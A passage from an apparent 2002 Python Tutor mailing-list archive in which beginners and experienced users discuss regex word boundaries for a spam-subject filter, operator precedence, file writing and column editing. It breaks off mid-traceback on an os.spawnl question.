Message-ID: <fc.004c4b6b008c7e81004c4b6b008c7b3e.8c7e99@blakeschool.org>

mday@mac.com writes:
>On Friday, February 8, 2002, at 03:36  PM, Christopher Smith wrote:
>
>> The python reference (ref/summary.html) it says that 'negation' and
>> 'bitwise not' have higher precedence than exponentiation but this is n=
ot
>> born out by the interpreter (MacPython 2.2):
>
>I think you're reading the table wrong.  To quote that page:
>
>> The following table summarizes the operator precedences=A0in Python, f=
rom=20
>> lowest precedence (least binding) to highest precedence (most binding).
>
>And note that exponentiation is listed *after* bitwise not and=20
>negative.  That means that exponentiation has higher precedence (since=20
>it comes later in the table).

Hmmm...here it is (the reference section 5.12) in the 2.1 documents:

**		Exponentiation
+x, -x	Positive, negative
~x		Bitwise not

and here it is in the 2.2 docs:

+x, -x	Positive, negative
~x		Bitwise not
**		Exponentiation

I thought I actually had checked that it was the same in the 2.2 docs but
I see that I must have looked a the same set of docs (the 2.1 version)
twice.  Can anyone confirm that the behavior didn't change between
versions and that the documentation was just changed to reflect the actua=
l
behavior?

I guess I would still favor not relying on the precedence rules here and
go for ease of reading and say it explicitly: -(a**2) or (-a)**2.

/c



From rashigupta77@hotmail.com  Fri Feb  8 11:05:42 2002
From: rashigupta77@hotmail.com (rashi gupta)
Date: Fri, 8 Feb 2002 16:35:42 +0530
Subject: [Tutor] Book on Python
Message-ID: <OE34eEHJtfob7bOsPTQ0001c0e6@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C1B0BE.A6485E80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

I have writen a book on Python. The intended target audience for the =
book are begginners to intermediate programmers. I am looking for people =
who would be interested in doing a techical review . People interested =
can contact me at rashigupta77@hotmail.com.

Regards,
rashi

------=_NextPart_000_0009_01C1B0BE.A6485E80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have writen a book on Python. The =
intended target=20
audience for the book are begginners to intermediate programmers. I am =
looking=20
for people who would be interested in doing a techical review . People=20
interested can contact me at <A=20
href=3D"mailto:rashigupta77@hotmail.com">rashigupta77@hotmail.com</A>.</F=
ONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>rashi</FONT></DIV></BODY></HTML>

------=_NextPart_000_0009_01C1B0BE.A6485E80--


From sheila@thinkspot.net  Sat Feb  9 05:30:15 2002
From: sheila@thinkspot.net (Sheila King)
Date: Fri, 08 Feb 2002 21:30:15 -0800
Subject: [Tutor] Why doesn't this regex match???
Message-ID: <3251E29088C@kserver.org>

OK, I'm having some trouble with using the re module for regular
expression matching. (I'm very new to using regular expressions, so I
suppose I could be doing something really stupid?)

Here is a session with the interactive interpreter:

Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> import re
>>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
>>> pattern = 'adv:'
>>> p = re.compile(r'\b%s\b' % pattern)
>>> result = p.search(searchstring, re.IGNORECASE)
>>> result
>>> print result
None

I would have expected to get a match on the above situation.

Now when I try this:

>>> searchstring = 'Viagra without a prescription!'
>>> pattern = 'viagra'
>>> p = re.compile(r'\b%s\b' % pattern)
>>> result = p.search(searchstring, re.IGNORECASE)
>>> result
>>> print result
None
>>> searchstring = 'get viagra without a prescription!'
>>> pattern = 'viagra'
>>> p = re.compile(r'\b%s\b' % pattern)
>>> result = p.search(searchstring, re.IGNORECASE)
>>> result
<_sre.SRE_Match object at 0x00AF4010>
>>> 

If 'viagra' comes at the beginning, it doesn't match, but if it comes in
the middle it does. So, one starts to think that \b, the word boundary,
won't match at the beginning of a string (which is totally contrary to
what I would expect).

Please help.

The task I am trying to accomplish right now is this:

I have a list of strings (common words and phrases one might expect to
find in a Spam email, if that wasn't obvious from the above examples)
and I want to do a regular expression search against the subject of an
email and see if I get a match or not (after which I handle the email).

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_





From urnerk@qwest.net  Sat Feb  9 05:53:49 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Fri, 08 Feb 2002 21:53:49 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <3251E29088C@kserver.org>
Message-ID: <4.2.0.58.20020208215224.01b48ce0@pop3.norton.antivirus>

> >>> p = re.compile(r'\b%s\b' % pattern)
> >>> result = p.search(searchstring, re.IGNORECASE)

One thing here is the re.I or re.IGNORECASE parameter is
compile time, i.e. goes in the compile, not in the search.

Kirby



From sheila@thinkspot.net  Sat Feb  9 06:21:28 2002
From: sheila@thinkspot.net (Sheila King)
Date: Fri, 08 Feb 2002 22:21:28 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <4.2.0.58.20020208215224.01b48ce0@pop3.norton.antivirus>
References: <3251E29088C@kserver.org> <4.2.0.58.20020208215224.01b48ce0@pop3.norton.antivirus>
Message-ID: <3540F950A2C@kserver.org>

On Fri, 08 Feb 2002 21:53:49 -0800, Kirby Urner <urnerk@qwest.net>
wrote about Re: [Tutor] Why doesn't this regex match???:

> 
> > >>> p = re.compile(r'\b%s\b' % pattern)
> > >>> result = p.search(searchstring, re.IGNORECASE)
> 
> One thing here is the re.I or re.IGNORECASE parameter is
> compile time, i.e. goes in the compile, not in the search.

Oh, oops! OK, taking this advice, I re-did my previous tests:

>>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
>>> pattern = 'adv:'
>>> p = re.compile(r'\b%s\b' % pattern, re.IGNORECASE)
>>> result = p.search(searchstring)
>>> print result
None
>>> searchstring = 'Viagra without a prescription!'
>>> pattern = 'viagra'
>>> p = re.compile(r'\b%s\b' % pattern, re.IGNORECASE)
>>> result = p.search(searchstring)
>>> print result
<_sre.SRE_Match object at 0x00F476F0>
>>> searchstring = 'get viagra without a prescription!'
>>> pattern = 'viagra'
>>> p = re.compile(r'\b%s\b' % pattern, re.IGNORECASE)
>>> result = p.search(searchstring)
>>> print result
<_sre.SRE_Match object at 0x00F3A5F0>
>>> 

Now two out of three match as I had expected, and one at the beginning
of the string. Why isn't the first one matching, still?

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_





From sheila@thinkspot.net  Sat Feb  9 06:53:08 2002
From: sheila@thinkspot.net (Sheila King)
Date: Fri, 08 Feb 2002 22:53:08 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEMJNKAA.tim.one@comcast.net>
References: <3251E29088C@kserver.org> <LNBBLJKPBEHFEDALKOLCIEMJNKAA.tim.one@comcast.net>
Message-ID: <370F4F979B9@kserver.org>

On Sat, 09 Feb 2002 01:25:25 -0500, Tim Peters <tim.one@comcast.net>
wrote about RE: [Tutor] Why doesn't this regex match???:

...<excellent summary snipped--now I understand what wasn't working >...

> Here's another approach to your problem:
> 
> 1. Convert all your phrases to (say) lowercase first.
> 
> 2. Say the list is spamphrases, and the subject line is "subject".
> 
>    Then
> 
>        s = subject.lower()
>        isjunk = 0
>        for phrase in spamphrases:
>            if s.find(phrase) >= 0:
>                isjunk = 1
>                break
> 
>    is worth considering.  It won't tie your head in knots, anyway.

We were doing something like this before. Actually, what we were doing
was more like:

        s = subject.lower()
		s = ' ' + s + ' '
        isjunk = 0
        for phrase in spamphrases:
            if s.find(phrase) >= 0:
                isjunk = 1
                break

Then someone else suggested the regular expression (granted, someone who
is rather adept at them, and is really a Perl coder who is just now
learning Python). I'm not sure we gained much by it, but then I had
thought to do this:

take the entire list of spamphrases and form one big regex out of them
and instead of looping through the list, simply do a single regex test
on the subject line. We are looking to run this filter on a community
server that gets lots of emails to lots of different accounts and we
expect a number of people will be using it. We don't want to have the
sysadmin tell us to turn it off later, due to resource usage. So, I
thought that a single regex test would be more efficient than looping
through the list as we had done before.

Comments on this logic not only welcome, but actually desired!!!

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From sheila@thinkspot.net  Sat Feb  9 07:11:44 2002
From: sheila@thinkspot.net (Sheila King)
Date: Fri, 08 Feb 2002 23:11:44 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <370F4F979B9@kserver.org>
References: <3251E29088C@kserver.org> <LNBBLJKPBEHFEDALKOLCIEMJNKAA.tim.one@comcast.net> <370F4F979B9@kserver.org>
Message-ID: <381F04F6BDD@kserver.org>

Error correction below:

On Fri, 08 Feb 2002 22:53:08 -0800, Sheila King <sheila@thinkspot.net>
wrote about Re: [Tutor] Why doesn't this regex match???:

> We were doing something like this before. Actually, what we were doing
> was more like:
> 
>         s = subject.lower()
> 		s = ' ' + s + ' '
>         isjunk = 0
>         for phrase in spamphrases:
>             if s.find(phrase) >= 0:
>                 isjunk = 1
>                 break

Actually, what we'd been doing was more like:

        s = subject.lower()
 		s = ' ' + s + ' '
         isjunk = 0
         for phrase in spamphrases:
             if s.find(' ' + phrase + ' ') >= 0:
                 isjunk = 1
                 break

We wanted to match, say, "sex" but not "sextant". (As the joke is going
in our discussion group...SO MANY spams that we receive have the word
"sextant" in the subject line!!! )

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From sheila@thinkspot.net  Sat Feb  9 07:26:53 2002
From: sheila@thinkspot.net (Sheila King)
Date: Fri, 08 Feb 2002 23:26:53 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <3251E29088C@kserver.org>
References: <3251E29088C@kserver.org>
Message-ID: <38FDE976D44@kserver.org>

On Fri, 08 Feb 2002 21:30:15 -0800, Sheila King <sheila@thinkspot.net>
wrote about [Tutor] Why doesn't this regex match???:

> OK, I'm having some trouble with using the re module for regular
> expression matching. (I'm very new to using regular expressions, so I
> suppose I could be doing something really stupid?)

Despite Tim's excellent advice, to reconsider whether I really want to
use regular expressions, I persist at that task. (I've been programming
long enough to feel that I ought to have learned them by now. And I'd
like to start understanding them so when other people discuss them I
don't feel lost.)

So, I decided I could possibly solve my problem with the whole "word
boundary" thing (when my phrase-pattern doesn't begin and end in an
alphanumeric character) as follows:

Match on any of the following at the beginning of the phrase-pattern:

The beginning of the searched string
A word boundary
White space

and any of the following at the end of the phrase-pattern:

The end of the searched string
A word boundary
White space

Seems to me, that this should about cover things???

So I tried the following, with the dismal results shown. Now what am I
doing wrong? 

>>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
>>> word = 'adv:'
>>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
Traceback (most recent call last):
  File "<pyshell#45>", line 1, in ?
    p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
  File "E:\PYTHON\PYTHON22\lib\sre.py", line 178, in compile
    return _compile(pattern, flags)
  File "E:\PYTHON\PYTHON22\lib\sre.py", line 228, in _compile
    raise error, v # invalid expression
error: internal: unsupported set operator

Note: it doesn't matter whether I make it a raw string or not. Same
error both ways. Clearly something isn't right with the pattern I'm
trying to use.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_





From tim.one@comcast.net  Sat Feb  9 06:25:25 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Feb 2002 01:25:25 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <3251E29088C@kserver.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEMJNKAA.tim.one@comcast.net>

[Sheila King]
> OK, I'm having some trouble with using the re module for regular
> expression matching. (I'm very new to using regular expressions, so I
> suppose I could be doing something really stupid?)

Congratulations:  you win, but only partly <wink>.

> Here is a session with the interactive interpreter:
>
> Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help
> >>> import re
> >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
> >>> pattern = 'adv:'
> >>> p = re.compile(r'\b%s\b' % pattern)
> >>> result = p.search(searchstring, re.IGNORECASE)
> >>> result
> >>> print result
> None
>
> I would have expected to get a match on the above situation.

This is a pretty amazing failure:  the second argument to p.search is the
position in the string at which to begin the search (read the docs for
this).  re.IGNORECASE doesn't make any real sense there, but it just so
happens that

>>> re.IGNORECASE
2
>>>

So you're really asking to search 'V: FREE FREE OFFERZ!!!!' for 'ADV:', and
of course it isn't found.  If you compile the pattern like this instead:

    p = re.compile(r'\b%s\b' % re.escape(pattern), re.IGNORECASE)

and search via plain

    p.search(searchstring)

you'll be in much better shape, but it *still* won't match.  That's because
of the ":\b" in your pattern:  \b matches only at a word boundary, which
means an alphabetic character must be on one side and a non-alphabetic on
the other.  In ":\b", the colon is non-alphabetic, so this can only match
things like

   :A
   :a

etc.

Backing off to something simpler is always a good idea until you're
absolutely certain how regexps work:

>>> p = re.compile('adv:', re.IGNORECASE)
>>> p.search(searchstring)
<_sre.SRE_Match object at 0x00794D10>
>>> _.group(0)
'ADV:'
>>>

*Now* you can try making the pattern fancier again.

> Now when I try this:
>
> >>> searchstring = 'Viagra without a prescription!'
> >>> pattern = 'viagra'
> >>> p = re.compile(r'\b%s\b' % pattern)
> >>> result = p.search(searchstring, re.IGNORECASE)
> >>> result
> >>> print result
> None
> >>> searchstring = 'get viagra without a prescription!'
> >>> pattern = 'viagra'
> >>> p = re.compile(r'\b%s\b' % pattern)
> >>> result = p.search(searchstring, re.IGNORECASE)
> >>> result
> <_sre.SRE_Match object at 0x00AF4010>
> >>>
>
> If 'viagra' comes at the beginning, it doesn't match, but if it comes in
> the middle it does.

This is again because re.IGNORECASE is being used in a context where it
doesn't make sense (it's telling .search() to ignore the first two
characters of the string).

> So, one starts to think that \b, the word boundary, won't match at the
> beginning of a string (which is totally contrary to what I would expect).

Yes, \b matches at the start of a string.

> ...
> The task I am trying to accomplish right now is this:
>
> I have a list of strings (common words and phrases one might expect to
> find in a Spam email, if that wasn't obvious from the above examples)
> and I want to do a regular expression search against the subject of an
> email and see if I get a match or not (after which I handle the email).

regexps are a wonderful tool at times, but (a) are difficult to use
correctly, and (b) get used for all sorts of things they're not good at.
One of the best quotes on the topic comes from Jamie Zawinski:

    Some people, when confronted with a problem, think "I know, I'll use
    regular expressions."  Now they have two problems.

Here's another approach to your problem:

1. Convert all your phrases to (say) lowercase first.

2. Say the list is spamphrases, and the subject line is "subject".

   Then

       s = subject.lower()
       isjunk = 0
       for phrase in spamphrases:
           if s.find(phrase) >= 0:
               isjunk = 1
               break

   is worth considering.  It won't tie your head in knots, anyway.



From urnerk@qwest.net  Sat Feb  9 09:20:17 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sat, 09 Feb 2002 01:20:17 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <38FDE976D44@kserver.org>
References: <3251E29088C@kserver.org>
 <3251E29088C@kserver.org>
Message-ID: <4.2.0.58.20020209011305.019e2390@pop3.norton.antivirus>

>
>So I tried the following, with the dismal results shown. Now what am I
>doing wrong?
>
> >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
> >>> word = 'adv:'
> >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
>Traceback (most recent call last):
>   File "<pyshell#45>", line 1, in ?
>     p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
>   File "E:\PYTHON\PYTHON22\lib\sre.py", line 178, in compile
>     return _compile(pattern, flags)
>   File "E:\PYTHON\PYTHON22\lib\sre.py", line 228, in _compile
>     raise error, v # invalid expression
>error: internal: unsupported set operator

At this point, I share your confusion.  Using your same values:

 >>> p = re.compile(r'\A%s' % word, re.I)      # works
 >>> p = re.compile(r'[\A]%s' % word, re.I)    # finds nothing
 >>> p = re.compile(r'[\A]*%s' % word, re.I)   # works
 >>> p = re.compile(r'[\A]?%s' % word, re.I)   # works

? and * both match 0 times, as well as 1 or many respectively.
But if \A is not there at all, why does the first pattern work?
If \A is there, why does the 2nd pattern fail?

Something about p = re.compile(r'[\s\A]') is invalid.

I'm not sure what.

Kirby



From tim.one@comcast.net  Sat Feb  9 08:06:17 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 09 Feb 2002 03:06:17 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <38FDE976D44@kserver.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEMMNKAA.tim.one@comcast.net>

[Sheila King]
> Despite Tim's excellent advice, to reconsider whether I really want to
> use regular expressions, I persist at that task. (I've been programming
> long enough to feel that I ought to have learned them by now. And I'd
> like to start understanding them so when other people discuss them I
> don't feel lost.)

The illusion you're suffering is that when other people discuss them,
they're not also lost <wink>.  O'Reilly publishes an excellent book titled
"Mastering Regular Expressions"; it's the only really good intro I've ever
seen.

> So, I decided I could possibly solve my problem with the whole "word
> boundary" thing (when my phrase-pattern doesn't begin and end in an
> alphanumeric character) as follows:
>
> Match on any of the following at the beginning of the phrase-pattern:
>
> The beginning of the searched string
> A word boundary
> White space
>
> and any of the following at the end of the phrase-pattern:
>
> The end of the searched string
> A word boundary
> White space
>
> Seems to me, that this should about cover things???

That's part of the problem:  defining what you want to match, exactly.  The
other part is spelling that with regexps.

> So I tried the following, with the dismal results shown. Now what am I
> doing wrong?

As before, the best way to proceed is to simplify the regexp until you stop
having problems, and then make it more complicated again one step at a time.
In fact you've got several problems in this attempt, and it's so much harder
to wrap your brain around all of them in one gulp.

> >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
> >>> word = 'adv:'
> >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
> Traceback (most recent call last):
>   File "<pyshell#45>", line 1, in ?
>     p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
>   File "E:\PYTHON\PYTHON22\lib\sre.py", line 178, in compile
>     return _compile(pattern, flags)
>   File "E:\PYTHON\PYTHON22\lib\sre.py", line 228, in _compile
>     raise error, v # invalid expression
> error: internal: unsupported set operator

One problem that isn't biting you (yet):  \b inside a character class
doesn't mean word-boundary, it means the ASCII backspace character (chr(8)).
What you feared is true:  every word of the regexp docs is there for a
reason <0.5 wink>.

A second problem that isn't biting you (yet):  note that when I rewrote your
earlier pattern, I used re.escape to transform the word you inserted into
the regexp.  Else "funny characters" in the word will be taken as
instructions to the regexp engine, not as characters to be matched
literally.  re.escape(word) inserts backslashes as needed, so that every
character in word gets matched literally.

The last problem is that \A and \Z aren't characters at all, they're
"zero-width assertions".  They don't make sense inside a character class,
although it would be nice if the regexp compiler gave you a reasonable
message about that instead of blowing up with an internal error (you should
report that bug on SourceForge!).  You'll have to do it like this instead:

p = re.compile(r'(\A|\b|\s)%s(\Z|\b|\s)' % re.escape(word), re.IGNORECASE)



From alan.gauld@freenet.co.uk  Sat Feb  9 09:50:26 2002
From: alan.gauld@freenet.co.uk (alan.gauld@freenet.co.uk)
Date: Sat, 9 Feb 2002 09:50:26 -0000
Subject: [Tutor] RE: Modular programming Help
Message-ID: <09512212536953@mailth4.freenet.co.uk>

Cameron wrote:
> My intro to programming teacher in college is telling 
> me that importing a file isn't calling a module.  

Which is true.

> I must be confussed here because I have always understood 
> that modules were external programming things that you 
> brought in with the import and then executed with functions 

Only in Python.

A module is any piece of reusable code - a black box.
The original definition of module in programming was a 
subroutine in assembler - which carried thru' to BASIC...
and COBOL and FORTRAN etc...

So your teacher is right to a degree but he/she is way out of date 
in terminology.

For a fuller explanation and a comparisonof BASIC and Python 
look at my web tutor:

http://www.freenetpages.co.uk/hp/alan.gauld

Under  Functions and Modules.

Alan g.


From kp87@lycos.com  Sat Feb  9 11:25:57 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 09 Feb 2002 20:25:57 +0900
Subject: [Tutor] really dumb questions
Message-ID: <BFGCFNOOEPHPPAAA@mailcity.com>

Hi. It's new years here in Korea and I plan on spending mine with the Python interpreter.

I am hung up on a few dumb items that i was hoping to get some help with.

1. How can one write (not print) multiple things with one f.write statement?

I have lots of code that scrolls down endlessly because it has to do silly stuff like:

f.write('foo = ')
f.write(`foo`)
f.write('/n/n') # pretend these are newlines i can't find the forward slash on this computer
f.write('bar = ')
f.write(`bar`)
f.write('/n/n')

is there anyway to combine these on fewer lines without using ; ?
I know that there is writelines, but as usual i can't figure out based on the Python documentation which hardly ever gives illustrative examples.

My other dumb question is this: how do i print a list without the leading and trailing brackets and commas? I just want the values separated by white space. 1 2 3 and not [1, 2, 3] again with f.write and not print.

Oh, one last silly question. I know how to print the time in the interpreter with:

>>> import time


but using the same command with f.write and not print doesn't work. if i add the `x` thing it works but it adds single quotes to the output. How do you suppress those?

One last silly question. I would love to write to the output file the name of script that generated the file. Is there a module that does that in Python? I see where to get the curdir, but not the actual filename with the path.

cheers all and Happy New Year to those in places that groove to the Lunar New Year.

kevin parks
Seoul, Korea

Thanks D-man and Danny Yoo for the stuff on random. It was helpful, but i was also hoping that there would be 1/f noise and brownian noise as well built in. I didn't see it in Numpy either.








Go Get It!
Send FREE Valentine eCards with Lycos Greetings
http://greetings.lycos.com


From kp87@lycos.com  Sat Feb  9 11:36:31 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 09 Feb 2002 20:36:31 +0900
Subject: [Tutor] One more (sorry)
Message-ID: <BHBJPLLHIIIPPAAA@mailcity.com>

One of the things that I have to do over and over again is read in a file and fondle one or more of the parameters. So if i have a file that looks like this:

foo  1.0  5.0  10.0
foo2 1.0  5.0  15.0
foo  2.5  3.0  9.00
foo  3.1  5.5  12.00
foo3 5.0  1.25 7.00

and i want to add .5 to all of foo's column 2 to get:

foo  1.5  5.0  10.0
foo2 1.0  5.0  15.0
foo  3.0  3.0  9.00
foo  3.6  5.5  12.00
foo3 5.0  1.25 7.00

or add 1.1 too all of foo2's column 4 to get:

foo  1.0  5.0  10.0
foo2 1.0  5.0  16.1
foo  2.5  3.0  9.00
foo  3.1  5.5  12.00
foo3 5.0  1.25 7.00

How would I do that? Could anyone show me an example of how that is done in python? I usually use a Cshell script for that, but I don't have a csh now as my OS X partition is gone. Besides I would really love to learn how to do this in Python so that i don't have to try to remember where to put all my $ and such in csh anymore!

cheers,

kevin





Go Get It!
Send FREE Valentine eCards with Lycos Greetings
http://greetings.lycos.com


From rick@niof.net  Sat Feb  9 14:43:31 2002
From: rick@niof.net (Rick Pasotto)
Date: Sat, 9 Feb 2002 09:43:31 -0500
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <38FDE976D44@kserver.org>
References: <3251E29088C@kserver.org> <38FDE976D44@kserver.org>
Message-ID: <20020209144331.GL24064@tc.niof.net>

On Fri, Feb 08, 2002 at 11:26:53PM -0800, Sheila King wrote:
> 
> So I tried the following, with the dismal results shown. Now what am I
> doing wrong? 
> 
> >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
> >>> word = 'adv:'
> >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)

'[]' says 'any one *character* from the set'. '\b', '\A', and '\Z' are
not characters.

p=re.compile(r'\b%s\b' % word, re.I) ought to do what you want.
(untested)

'word boundary' includes 'white space before and after' and 'beginning
and end of string'.

-- 
"Once the principle of government -- judicial monopoly and the power
 to tax -- is incorrectly accepted as just, any notion of restraining
 government power and safeguarding individual liberty and property is
 illusory." -- Hans-Herman Hoppe
    Rick Pasotto    rickp@telocity.com    http://www.niof.net


From sheila@thinkspot.net  Sat Feb  9 19:38:19 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 09 Feb 2002 11:38:19 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <20020209144331.GL24064@tc.niof.net>
References: <3251E29088C@kserver.org> <38FDE976D44@kserver.org> <20020209144331.GL24064@tc.niof.net>
Message-ID: <2C6A5A323F@kserver.org>

On Sat, 9 Feb 2002 09:43:31 -0500, Rick Pasotto <rick@niof.net>  wrote
about Re: [Tutor] Why doesn't this regex match???:

> On Fri, Feb 08, 2002 at 11:26:53PM -0800, Sheila King wrote:
> > 
> > So I tried the following, with the dismal results shown. Now what am I
> > doing wrong? 
> > 
> > >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!'
> > >>> word = 'adv:'
> > >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I)
> 
> '[]' says 'any one *character* from the set'. '\b', '\A', and '\Z' are
> not characters.
> 
> p=re.compile(r'\b%s\b' % word, re.I) ought to do what you want.
> (untested)
> 
> 'word boundary' includes 'white space before and after' and 'beginning
> and end of string'.

Actually, 
p=re.compile(r'\b%s\b' % word, re.I)

didn't do what I wanted. That's what started this whole thread.

Maybe
p = re.compile(r'(\A|\s)(%s)(\Z|\s)' % re.escape(word), re.I)

would do what I wanted. (untested)

Anyhow, after the discussion here on the list last night, and some
discussion with my project-code-partners, we've decided to forgo the
regular expressions in favor of simple string manipulations.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From dyoo@hkn.eecs.berkeley.edu  Sat Feb  9 19:42:18 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 9 Feb 2002 11:42:18 -0800 (PST)
Subject: [Tutor] One more (sorry)
In-Reply-To: <BHBJPLLHIIIPPAAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202091133050.25801-100000@hkn.eecs.berkeley.edu>

On Sat, 9 Feb 2002, kevin parks wrote:

> So if i have a file that looks like this:
> 
> foo  1.0  5.0  10.0
> foo2 1.0  5.0  15.0
> foo  2.5  3.0  9.00
> foo  3.1  5.5  12.00
> foo3 5.0  1.25 7.00
> 
> and i want to add .5 to all of foo's column 2 to get:
> 
> foo  1.5  5.0  10.0
> foo2 1.0  5.0  15.0
> foo  3.0  3.0  9.00
> foo  3.6  5.5  12.00
> foo3 5.0  1.25 7.00
[some text cut]
> 
> How would I do that?
[more text cut]


If we read in the file and somehow process it to get something like:

[ [foo 1.0 5.0 10.0]
  [foo2 1.0  5.0  15.0]
  [foo  2.5  3.0  9.00]
  [foo  3.1  5.5  12.00]
  [foo3 5.0  1.25 7.00] ]

That is, a list of columns, then the problem should become a little
easier.  Here's a function that might do this:

###
def readRowsAndColumns(filename):
    f = open(filename)
    rows = []
    for line in f.readlines():
        columns = line.split()
        rows.append(columns)
    return rows
###

It's not perfect (and also untested.  *grin*), because it does leave the
"numbers" as strings, so we have to be a little careful when we're about
to do something like "add 0.5 to every column in the foo row."

Hope this helps!



From urnerk@qwest.net  Sat Feb  9 20:05:14 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sat, 09 Feb 2002 12:05:14 -0800
Subject: [Tutor] Why doesn't this regex match???
In-Reply-To: <2C6A5A323F@kserver.org>
References: <20020209144331.GL24064@tc.niof.net>
 <3251E29088C@kserver.org>
 <38FDE976D44@kserver.org>
 <20020209144331.GL24064@tc.niof.net>
Message-ID: <4.2.0.58.20020209120509.01a047a0@pop3.norton.antivirus>

Anyhow, after the discussion here on the list last night, and some
discussion with my project-code-partners, we've decided to forgo the
regular expressions in favor of simple string manipulations.


Good thread though.  Some important clarifications re
character sets.  Got my questions answered.

Seems you were just about at a solution.

Kirby



From sheila@thinkspot.net  Sat Feb  9 20:06:02 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 09 Feb 2002 12:06:02 -0800
Subject: [Tutor] Using os.spawn commands
Message-ID: <45D4413DB5@kserver.org>

I wanted to write a script to test this other script of mine.
I thought one of the os.spawn commands would be best, so that if one of
the test processes crashed, at least my testing script wouldn't? (That
is correct thinking there, right?)

I'm running a lot of my testing on a Windows machine, and according to
the docs, that eliminates any of the spawn commands with a "p" as a
choice. OK, fine. That leaves me with these choices:

spawnl
spawnle
spawnv
spawnve

And the docs say, that if you know the number of parameters, might as
well use one of the "l" versions, probably easiest. Fine.

Now, I'm in the directory
e:\web\thinkspotwebsite\dev

and the following  command executes from within that directory from a
command line prompt (in a DOS window):
E:\Web\Thinkspotwebsite\dev>python email_filter.py < test4.txt

and gives me the expected results.

Inside of IDLE I tried (after importing os, of course):

Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> import os, sys
>>> os.chdir(r'e:\web\thinkspotwebsite\dev')
>>> os.path.abspath(os.curdir)
'e:\\web\\thinkspotwebsite\\dev'
>>> os.spawnl(os.P_WAIT, 'python email_filter.py < test4.txt')
Traceback (most recent call last):
  File "<pyshell#3>", line 1, in ?
